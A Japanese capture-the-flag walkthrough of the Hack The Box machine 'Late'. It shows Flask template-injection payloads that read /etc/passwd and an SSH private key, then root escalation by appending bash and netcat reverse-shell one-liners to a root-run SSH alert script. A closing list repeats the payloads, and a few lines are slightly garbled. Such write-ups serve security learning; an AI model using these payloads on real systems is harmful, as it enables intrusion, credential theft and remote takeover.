nmap -v -sV 10.10.11.156
2 つのポートが見つかりました
22/tcp ssh
80/tcp http
ウェブページを開く
アドレスを見つけましたが、開けませんでした、
images.late.htb
hosts にアドレスを追加します
10.10.11.156 images.late.htb
開くと、ファイルアップロードのアドレスがありました
アップロードファイルは PNG 形式のファイルのみアップロードでき、他のファイルは browse で表示されません
アップロード後、彼のアップロードファイルパスが見つかりました
Error occured while processing the image: cannot identify image file '/home/svc_acc/app/uploads/test.png1500'
これは Flask フレームワークであることがわかりました
画像をテキストに変換する機能を利用して、実行できるか試してみます
{{3+3}}
{{3*3}}
アップロード後、テキスト内容が表示されました
文を画像に変換し、成功しました{{url_for.__globals__.__builtins__.open("/etc/passwd").read()}}
svc_acc❌1000:1000: サービスアカウント:/home/svc_acc:/bin/bash
svc_acc ユーザーが利用可能であることがわかり、ディレクトリの.ssh に鍵があるか確認します:{{url_for.__globals__.__builtins__.open("/home/svc_acc/.ssh/id_rsa").read()}}
id_rsa という新しいファイルを作成し、そこにコピーして、拡張子を削除します
この鍵を使用して ssh 接続を行います
chmod 600 id_rsa
svc_acc
シェルを取得#
ssh svc_acc@10.10.11.156 -i id_rsa
入ると user.txt が見えました
svc_acc@late:~$ cat user.txt
ab33ccd06cbd67114d219eceae59f08c
find / -perm -u=s -type f 2>/dev/null
権限と SUID ファイルを確認します:
linpeas.sh を使用して列挙します
chmod -x linpeas.sh
./linpeas.sh > out.txt
LinPEAS を使用して、root ユーザーによって実行される興味深いファイルがあり、誰かが SSH に接続するたびに実行されます。/usr/local/sbin
ヒントに従って、このスクリプトを見つけます
ここにリバースシェルを追加して、再度接続すると、root を取得できます
まずファイルを作成しますsvc_acc@late:~$ touch file.txtsvc_acc@late:~$ ls -la<br />-rw-rw-r — 1 svc_acc svc_acc 0 May 26 12:27 file.txt
ファイルを編集し、リバースシェルのペイロードを追加しますsvc_acc@late:~$ vim file.txt# ここに追加bash -i >& /dev/tcp/$ip/ポート 0>&1
作成したファイルを ssh アラートファイルに追加し、操作が完了したか確認しますsvc_acc@late:~$ cat /home/svc_acc/file.txt >> /usr/local/sbin/ssh-alert.shsvc_acc@late:~$ cat /usr/local/sbin/ssh-alert.sh<br />#!/bin/bashRECIPIENT=”[email protected]”<br />SUBJECT=”サーバーログインからのメール: SSHアラート”BODY=”<br />SSHログインが検出されました。ユーザー: $PAM_USER<br /> ユーザーIPホスト: $PAM_RHOST<br /> サービス: $PAM_SERVICE<br /> TTY: $PAM_TTY<br /> 日付:
date<br /> サーバー:
uname -a<br />“if [ ${PAM_TYPE} = “open_session” ]; then<br /> echo “Subject:${SUBJECT} ${BODY}” | /usr/sbin/sendmail ${RECIPIENT}<br />fi**bash -i >& /dev/tcp/$ip/ポート 0>&1**
ファイルに追加します。ローカルマシンで netcat をリッスンするように設定し、再度 SSH 接続して root が ssh ファイルを実行するようにトリガーします。
┌──(kali ㉿ kali)-[~]
└─$ nc -lvnp 4444
[any] 4444 でリッスン中 ...
[10.10.14.3] から接続 (UNKNOWN) [10.10.11.156] 59010
bash: cannot set terminal process group (29224): 不適切な ioctl デバイスのため
bash: このシェルではジョブ制御がありません
root を取得#
root@late:/# whoami
whoami
root
root@late:/root# cat root.txt
cat root.txt
参考記事
https://systemweakness.com/hack-the-box-late-walkthrough-1a496ad6e13e
ノート:#
{{3+3}}
{{3*3}}
{{url_for.globals.builtins.open("/etc/passwd").read()}}
{{url_for.globals.builtins.open("/home/svc_acc/.ssh/id_rsa").read()}}
find / -perm -u=s -type f 2>/dev/null
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&l|nc
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&l|nc 10.10.14.3 1234 >/tmp/f" >> /usr/local/sbin/ssh-alert.sh
echo "sh -i >& /dev/tcp/10.10.14.3/4444 0>&1" >> /usr/local/sbin/ssh-alert.sh
bash -i >& /dev/tcp/10.10.14.3/4444 0>&1